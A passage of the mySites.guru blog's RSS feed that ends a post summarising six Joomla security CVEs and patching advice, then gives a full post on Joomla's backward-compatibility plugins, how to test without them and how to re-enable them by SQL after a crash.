&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html&quot;&gt;CVE-2026-23898&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;com_joomlaupdate&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Arbitrary file deletion via the autoupdate server mechanism&lt;/td&gt;
&lt;td&gt;Phil Taylor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html&quot;&gt;CVE-2026-21630&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;com_content webservice&lt;/td&gt;
&lt;td&gt;High impact&lt;/td&gt;
&lt;td&gt;SQL injection in the articles API via improperly built order clauses&lt;/td&gt;
&lt;td&gt;GitHub Security Lab, CyStack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1029-20260303-core-xss-in-com-associations-comparison-view.html&quot;&gt;CVE-2026-21631&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;com_associations&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;XSS in the multilingual associations comparison view&lt;/td&gt;
&lt;td&gt;UNC Pembroke researchers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1030-20260304-core-xss-in-various-article-title-outputs.html&quot;&gt;CVE-2026-21632&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Various article outputs&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;XSS from unescaped article titles in multiple locations&lt;/td&gt;
&lt;td&gt;Peter Vanderhulst&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;
  &lt;p&gt;CVE-2026-23898 - Reported by Phil Taylor&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html&quot;&gt;CVE-2026-23898&lt;/a&gt; is a high-severity arbitrary file deletion vulnerability in &lt;code&gt;com_joomlaupdate&lt;/code&gt;, reported by Phil Taylor (the author of this blog and founder of mySites.guru). The autoupdate server mechanism lacked input validation, allowing an attacker to delete any file on the server that the PHP process has access to - not just Joomla files, but anything the web server user can reach. The component responsible for keeping Joomla up to date had a security hole in it.&lt;/p&gt;
  &lt;p&gt;An attacker who can delete files can take a site offline, weaken its security configuration, or expose protected directories by removing &lt;code&gt;.htaccess&lt;/code&gt; or &lt;code&gt;web.config&lt;/code&gt;. File deletion vulnerabilities can also be chained with other attacks to escalate to full site takeover.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;CVE-2026-21630 is another high-impact endpoint vulnerability - SQL injection in the content API. That makes four of the six CVEs in this release targeting API or AJAX-adjacent attack surfaces.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru help when vulnerabilities like these drop?&lt;/h2&gt;
&lt;p&gt;Every hour between a security release and your update is an hour your sites are exposed with a known, published vulnerability.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru dashboard&lt;/a&gt; shows every connected site&apos;s core version and extension versions at a glance. Filter by version to see exactly which sites need updating, without logging into each one individually.&lt;/p&gt;
&lt;p&gt;Need to know which sites run a specific vulnerable extension? The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; indexes every plugin and extension across your entire portfolio and groups results by version number. This is how we flagged &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;724 agencies running vulnerable Smart Slider 3&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;8,297 sites with the Novarain Framework&lt;/a&gt; within hours of disclosure.&lt;/p&gt;
&lt;p&gt;Once you know what needs patching, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass update tool&lt;/a&gt; pushes updates to all affected sites in a single operation. For agencies managing dozens or hundreds of sites, this turns a full day&apos;s work into a ten-minute task.&lt;/p&gt;
&lt;p&gt;After updating, the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; verifies each site by checking for modified core files, backdoors, and anything else that looks wrong. If a site was compromised before you could apply the patch, the audit catches the signs.&lt;/p&gt;
&lt;p&gt;Not sure whether your sites are at risk? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any Joomla or WordPress site to get an immediate assessment.&lt;/p&gt;
&lt;h2&gt;What should agency owners do right now?&lt;/h2&gt;
&lt;h3&gt;1. Update everything&lt;/h3&gt;
&lt;p&gt;If you run Joomla sites, update to 5.4.4 or 6.0.4 today. If you run WordPress sites, make sure Smart Slider 3 is on 3.5.1.34 or later. Check for the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework&lt;/a&gt; (update to 3.3.13+) and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&lt;/a&gt; (update to 6.0.38+) on your Joomla sites.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru can push updates across your entire portfolio&lt;/a&gt; from a single dashboard.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Joomla 5.4.4 may break existing plugins&lt;/p&gt;
  &lt;p&gt;The com_ajax ACL fix in 5.4.4 blocks all unauthenticated admin AJAX requests by default. If you have extensions that use admin AJAX endpoints without a Joomla session (including extensions that had their own authentication via API keys or custom tokens), those extensions will stop working after the update. Extensions that never had any authentication will also stop working, which is the intended outcome. Check for broken functionality in your admin AJAX workflows after updating. Extension developers need to either add the &lt;code&gt;#[AllowUnauthorizedAdministratorAccess]&lt;/code&gt; attribute to methods that legitimately need unauthenticated access, or ensure their handlers work within a valid Joomla admin session.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;2. Audit your AJAX endpoints&lt;/h3&gt;
&lt;p&gt;Check what your extensions expose through &lt;code&gt;com_ajax&lt;/code&gt; on Joomla or &lt;code&gt;admin-ajax.php&lt;/code&gt; on WordPress. Look at which webservice endpoints are accessible and whether they are properly locked down. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru security audit&lt;/a&gt; catches many of these issues, but manual review of your extension stack is also worthwhile for custom or niche extensions.&lt;/p&gt;
&lt;h3&gt;3. Remove what you don&apos;t use&lt;/h3&gt;
&lt;p&gt;Every installed extension is potential attack surface. If you have plugins or extensions you are not actively using, uninstall them. An extension you forgot about can still expose AJAX endpoints to the public internet.&lt;/p&gt;
&lt;h3&gt;4. Monitor for compromise&lt;/h3&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; so you are alerted immediately if any watched files are modified. Run the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; to check for backdoors that may have been installed before you patched, and learn &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;how to read the flags it raises&lt;/a&gt; before acting on the results.&lt;/p&gt;
&lt;h3&gt;5. Keep watching&lt;/h3&gt;
&lt;p&gt;This pattern is not going away. Joomla 5.4.4 added authentication to &lt;code&gt;com_ajax&lt;/code&gt; and WordPress already gates &lt;code&gt;wp_ajax_&lt;/code&gt; hooks behind a login check, but neither framework verifies authorization. That is still the developer&apos;s job. Every new extension that ships an AJAX handler without a capability check is a potential vulnerability, and the only fix is developer education.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 6.0.4 and 5.4.4 Security and Bugfix Release&lt;/a&gt; - the official release announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - full details on all six CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629: com_ajax ACL hardening&lt;/a&gt; - the framework-level fix that confirms the pattern&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/known-issues/6.0.4/&quot;&gt;Joomla 6.0.4 known issues (B/C break)&lt;/a&gt; - the buried documentation of the com_ajax breaking change&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/47b48aeceae211ae8016cf1da2b821a0d0467f55&quot;&gt;com_ajax fix commit&lt;/a&gt; - the actual code change that flipped the default&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/component-examples/ajaxdemo/&quot;&gt;Joomla AjaxDemo example&lt;/a&gt; - the official AJAX example with no security checks&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/plugins/plugin-examples/ajax-plugin/&quot;&gt;Joomla AJAX plugin example&lt;/a&gt; - plugin AJAX example, also no auth/authz guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/com-ajax/&quot;&gt;Joomla com_ajax docs&lt;/a&gt; - com_ajax reference, no security warnings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/ajax/&quot;&gt;Joomla AJAX general docs&lt;/a&gt; - general AJAX docs, no auth/authz mention&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html&quot;&gt;OWASP AJAX Security Cheat Sheet&lt;/a&gt; - general AJAX security guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework Vulnerability&lt;/a&gt; - CVE-2026-21628 (CVSS 10.0), the textbook com_ajax auth bypass&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Vulnerability&lt;/a&gt; - CVE-2026-21627 (CVSS 9.5), fully unauthenticated com_ajax exploitation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Vulnerability&lt;/a&gt; - CVE-2026-3098 (CVSS 6.5), the WordPress admin-ajax.php equivalent&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all patched vulnerabilities in the same month, showing the breadth of the WordPress plugin security problem&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;Agency Security Guide&lt;/a&gt; - broader CMS security guidance for agencies&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>ajax</category><category>security</category><category>joomla</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/ajax-endpoints-cms-security-blind-spot.kHKDUuNc.png" length="0" type="image/png"/></item><item><title>Joomla&apos;s Compat Plugin Is a Crutch, Not a Fix</title><link>https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/</guid><description>Joomla&apos;s backward compatibility plugins keep broken extensions alive. Here&apos;s why that&apos;s technical debt, how to test without them, and how to recover if your site crashes.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every major Joomla release ships with a backward compatibility plugin. It maps old, deprecated class names to their new equivalents so extensions that haven&apos;t been updated keep working. Most site owners leave it enabled and never think about it again.&lt;/p&gt;
&lt;p&gt;The compat plugin is a safety net with an expiry date. Each version gets &lt;strong&gt;removed&lt;/strong&gt; in the next major release. &lt;code&gt;plg_behaviour_compat&lt;/code&gt; (the Joomla 4 compatibility layer) shipped with Joomla 5 and is completely gone in Joomla 6. If any of your extensions still rely on those old class names, your site breaks on upgrade with a fatal error and a white screen.&lt;/p&gt;
&lt;p&gt;mySites.guru now tracks compat plugin status across all your connected sites. You can see at a glance which sites still have the compat layer enabled, and toggle it remotely to test readiness - without logging into each site individually.&lt;/p&gt;
&lt;h2&gt;What Do the Joomla Compat Plugins Actually Do?&lt;/h2&gt;
&lt;p&gt;There are two distinct plugins, each covering a different generation of deprecated code:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;plg_behaviour_compat&lt;/strong&gt; (Joomla 5 only, removed in Joomla 6)&lt;/p&gt;
&lt;p&gt;This plugin provides class aliases for over 400 deprecated Joomla 4 class names. When an extension calls &lt;code&gt;JPlugin&lt;/code&gt;, &lt;code&gt;JTable&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JRegistry&lt;/code&gt;, &lt;code&gt;JModelAdmin&lt;/code&gt;, or any of the other legacy names that have existed since Joomla 1.0, the compat plugin redirects those calls to the Joomla 5 namespaced equivalents. It also handles ES5 JavaScript asset fallbacks and removed asset compatibility.&lt;/p&gt;
&lt;p&gt;It has three independently toggleable options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes_aliases&lt;/code&gt; - maps old class names to new ones (enabled by default). This one adds ~500+ PHP function calls per request and is the hardest to turn off safely.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;es5_assets&lt;/code&gt; - loads ES5 fallback JavaScript (enabled by default). Over 1000 lines of JSON data per request. Safe to disable on most sites.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;removed_asset&lt;/code&gt; - provides compatibility for removed JS/CSS assets (enabled by default). Minimal overhead (~15 lines of JSON). Also safe to disable.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;plg_behaviour_compat6&lt;/strong&gt; (Joomla 5.4+, Joomla 6, Joomla 7)&lt;/p&gt;
&lt;p&gt;This is the newer compat plugin, introduced in Joomla 5.4 to give developers time to prepare for Joomla 6. It specifically covers three things removed from the J6 core:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;\Joomla\CMS\Input\*&lt;/code&gt; namespace (replaced by &lt;code&gt;\Joomla\Input\*&lt;/code&gt; from the Framework)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\Joomla\CMS\Filesystem\*&lt;/code&gt; package (replaced by &lt;code&gt;\Joomla\Filesystem\*&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;JPATH_PLATFORM&lt;/code&gt; constant (replaced by &lt;code&gt;_JEXEC&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It has two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes_aliases&lt;/code&gt; - maps deprecated class names (disabled by default)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;legacy_classes&lt;/code&gt; - provides full legacy class implementations for Input, Filesystem, and Application (enabled by default)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On new Joomla 6 installations, this plugin is installed but disabled by default, on the assumption that fresh installs don&apos;t carry legacy code.&lt;/p&gt;
&lt;p&gt;Same pattern as before: the compat plugin arrives one minor version before the major release and gets removed in the version after that.&lt;/p&gt;
&lt;h2&gt;Why Is the Joomla 5 Compat Plugin Called &quot;compat6&quot;?&lt;/h2&gt;
&lt;p&gt;The naming trips people up. The &quot;6&quot; in &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; refers to the Joomla version it makes your code compatible &lt;strong&gt;with&lt;/strong&gt;, not the version it runs on. It provides the deprecated J5 classes so your old code works on Joomla 6.&lt;/p&gt;
&lt;p&gt;Same logic for the original: &lt;code&gt;plg_behaviour_compat&lt;/code&gt; provides deprecated J4 classes so old code works on Joomla 5. There&apos;s no number because it was the first one.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin name&lt;/th&gt;
&lt;th&gt;Runs on&lt;/th&gt;
&lt;th&gt;Provides&lt;/th&gt;
&lt;th&gt;So your old code works on&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;td&gt;J4 class aliases&lt;/td&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5.4+, 6, 7&lt;/td&gt;
&lt;td&gt;J5 class aliases&lt;/td&gt;
&lt;td&gt;Joomla 6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Why Leaving the Compat Plugin Enabled Is Technical Debt&lt;/h2&gt;
&lt;p&gt;When the compat plugin is doing its job, everything looks fine. Your site works, your extensions work, nobody complains. But underneath, you&apos;re accumulating technical debt:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt; is gone in Joomla 6. If you upgrade to J6 with extensions that still need it, those extensions break immediately. The class doesn&apos;t exist anymore, full stop.&lt;/p&gt;
&lt;p&gt;The sneaky part: because the compat plugin rewrites class references on the fly, there&apos;s no log entry or warning that an extension is using deprecated code. Everything passes the Joomla pre-update check. Everything looks ready for the next version. Then you upgrade and find out it wasn&apos;t.&lt;/p&gt;
&lt;p&gt;Smaller extension developers often don&apos;t realise they have a problem either. They test on Joomla 5 with the compat plugin enabled (it&apos;s on by default), their extension works, they ship it, and nobody notices the dependency on deprecated classes until a client tries to run it on J6.&lt;/p&gt;
&lt;p&gt;There&apos;s also a minor performance cost. The compat plugin runs on every request, loading class maps and checking aliases. Not huge, but unnecessary for extensions that have been properly updated.&lt;/p&gt;
&lt;h2&gt;Check Compat Plugin Status Across All Your Joomla Sites&lt;/h2&gt;
&lt;p&gt;We&apos;ve added compat plugin tracking to the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements&lt;/a&gt; tool. The new &lt;strong&gt;Compat Plugin&lt;/strong&gt; column shows the enabled/disabled state for every connected site at a glance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Green &quot;Disabled&quot; means the compat plugin is off and your site runs without the compatibility layer&lt;/li&gt;
&lt;li&gt;Yellow &quot;Enabled&quot; means the compat plugin is still active, so some extensions may depend on it&lt;/li&gt;
&lt;li&gt;Grey &quot;N/A&quot; means the plugin doesn&apos;t apply to that Joomla version (e.g., J4 sites)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is included in all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost. Connect &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; and check them all from one screen.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;See compat plugin status for all your Joomla sites&lt;/p&gt;
  &lt;p&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Open Joomla 6 Compatibility Checker&lt;/a&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla5/compatibility&quot;&gt;Open Joomla 5 Compatibility Checker&lt;/a&gt;
  &lt;/p&gt;
  &lt;p&gt;Colour-codes every connected Joomla site&apos;s PHP version, database version, update channel, and compat plugin status. You need to be logged in.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Toggle Compat Plugins Remotely from mySites.guru&lt;/h2&gt;
&lt;p&gt;Beyond the overview page, there are two standalone audit checks under Extension Information on each site&apos;s manage page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backward Compatibility Plugin (J4 Classes)&lt;/strong&gt; - tracks &lt;code&gt;plg_behaviour_compat&lt;/code&gt; on J5 sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backward Compatibility Plugin (J5 Classes)&lt;/strong&gt; - tracks &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; on J5.4+ and J6 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both let you toggle the plugin on or off remotely. No need to log into the Joomla admin or touch the database. If you&apos;re testing J6 readiness across multiple client sites, you can disable the compat plugin, check what breaks, and re-enable it all from one place.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There&apos;s also a pivot page that shows the compat plugin status across every connected Joomla site on one screen, with toggle switches to enable or disable each one directly:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Disabling the compat plugin may crash your site if any extension still depends on deprecated classes. Always test on a staging copy first, or be prepared to re-enable it quickly using the same toggle.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How to Test Whether Your Extensions Need the Compat Plugin&lt;/h2&gt;
&lt;p&gt;The only reliable way to know is to disable it and see what breaks. Do this safely:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make a staging copy of your site. Never test this on production first.&lt;/li&gt;
&lt;li&gt;Disable the compat plugin from the Joomla admin (Extensions &amp;gt; Plugins &amp;gt; search for &quot;compat&quot;) or remotely via mySites.guru&apos;s toggle.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Test every page and feature. Visit the frontend, the admin panel, and trigger any scheduled tasks or AJAX features. Check forms, search, and any custom functionality.&lt;/li&gt;
&lt;li&gt;Check the error logs. The typical error is &lt;code&gt;An error has occurred: 0 Class &apos;JPlugin&apos; not found&lt;/code&gt; or similar with &lt;code&gt;JTable&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JRegistry&lt;/code&gt;, etc. The class name in the error tells you exactly what deprecated API the extension is calling.&lt;/li&gt;
&lt;li&gt;Identify the extension. The stack trace in the error log shows which extension file triggered the error. That extension needs updating. &lt;strong&gt;Tip:&lt;/strong&gt; you may need to enable debug mode and set error reporting to Maximum in Joomla&apos;s Global Configuration first, otherwise you&apos;ll just see a generic error page. Also check if your template has a custom &lt;code&gt;error.php&lt;/code&gt; file that hides the real error behind a visitor-friendly page. Temporarily rename or remove it while testing so Joomla&apos;s core error handler shows the raw stack trace instead.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If everything works with the plugin disabled, you&apos;re clear. If something crashes, you now know exactly which extensions need attention.&lt;/p&gt;
&lt;h2&gt;What to Do When an Extension Needs the Compat Layer&lt;/h2&gt;
&lt;p&gt;You&apos;ve disabled the compat plugin, your site crashed, and the error log says &lt;code&gt;Class &apos;JFactory&apos; not found&lt;/code&gt; in a third-party extension. Now what?&lt;/p&gt;
&lt;p&gt;If the extension has an update available, install it. Most actively maintained extensions were updated for Joomla 5 native compatibility years ago. Check the developer&apos;s site or the &lt;a href=&quot;https://extensions.joomla.org/&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If there&apos;s no update, contact the developer and point them to the &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;Joomla migration documentation&lt;/a&gt;. The changes are usually straightforward, just replacing old class names with namespaced equivalents. &lt;code&gt;JFactory&lt;/code&gt; becomes &lt;code&gt;Joomla\CMS\Factory&lt;/code&gt;, &lt;code&gt;JPlugin&lt;/code&gt; becomes &lt;code&gt;Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;If the extension is abandoned, find an alternative. An extension that still uses Joomla 4 class names in 2026 is not being maintained, and you shouldn&apos;t depend on it for production. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;manage all your extensions&lt;/a&gt; tool in mySites.guru can help you audit what&apos;s installed across your sites.&lt;/p&gt;
&lt;p&gt;If it&apos;s your own custom code, update the class references yourself. The Joomla project maintains a &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;complete mapping&lt;/a&gt; of old class names to new namespaced versions. Most replacements are a find-and-replace job.&lt;/p&gt;
&lt;h2&gt;How to Recover If Your Site Crashes After Disabling Compat&lt;/h2&gt;
&lt;p&gt;If you disabled the compat plugin on a live site (we said not to) and it&apos;s now showing a white screen, you have three ways to get it back:&lt;/p&gt;
&lt;h3&gt;Option 1: Use mySites.guru (Fastest)&lt;/h3&gt;
&lt;p&gt;If the site is still connected to mySites.guru, use the remote toggle in the audit tool to re-enable the plugin. The connector communicates directly with the database, so it works even when the Joomla frontend is down.&lt;/p&gt;
&lt;h3&gt;Option 2: Edit the Database Directly&lt;/h3&gt;
&lt;p&gt;Connect to your database with phpMyAdmin, Adminer, SSH, or your host&apos;s control panel (cPanel, Plesk, etc.):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = &apos;compat&apos;
  AND `folder` = &apos;behaviour&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the Joomla 6 compat plugin (&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = &apos;compat6&apos;
  AND `folder` = &apos;behaviour&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your actual table prefix (usually &lt;code&gt;jos_&lt;/code&gt; or whatever you set during installation).&lt;/p&gt;
&lt;h3&gt;Option 3: Edit the configuration.php File (Emergency)&lt;/h3&gt;
&lt;p&gt;If you can&apos;t access the database at all, you can temporarily put Joomla into offline mode by editing &lt;code&gt;configuration.php&lt;/code&gt; and setting &lt;code&gt;$offline = true&lt;/code&gt;. This gives you access to the admin login page where you can re-enable the plugin. Change it back to &lt;code&gt;false&lt;/code&gt; after.&lt;/p&gt;
&lt;h2&gt;You Must Disable &lt;code&gt;plg_behaviour_compat&lt;/code&gt; Before Upgrading to Joomla 6&lt;/h2&gt;
&lt;p&gt;This is worth calling out separately: Joomla requires that you disable the compat plugin &lt;strong&gt;before&lt;/strong&gt; upgrading from J5 to J6. &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1 brought further changes&lt;/a&gt; to extension APIs, so the sooner you clear the compat dependency the smoother your upgrade path will be. If your site breaks when you disable it, that&apos;s Joomla telling you something isn&apos;t ready. Re-enable it, fix the incompatible extensions while still on J5, and then try the upgrade again.&lt;/p&gt;
&lt;p&gt;Extensions that were commonly reported as needing the compat plugin (as of 2024, most have since been updated): Convert Forms / NRFramework (Tassos), Acymailing (Acyba), Dropfiles/Droppics (JoomUnited), LSCache (LiteSpeed), and Ecwid. If you&apos;re running any of these, make sure you&apos;re on the latest version before disabling.&lt;/p&gt;
&lt;h2&gt;The Joomla Compat Plugin Migration Timeline&lt;/h2&gt;
&lt;p&gt;The lifecycle of Joomla&apos;s compat plugins follows a predictable pattern:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin&lt;/th&gt;
&lt;th&gt;Introduced&lt;/th&gt;
&lt;th&gt;Covers&lt;/th&gt;
&lt;th&gt;Removed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5.0&lt;/td&gt;
&lt;td&gt;Joomla 4 deprecated classes&lt;/td&gt;
&lt;td&gt;Joomla 6.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5.4&lt;/td&gt;
&lt;td&gt;Joomla 5 deprecated classes&lt;/td&gt;
&lt;td&gt;Joomla 7 (expected)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
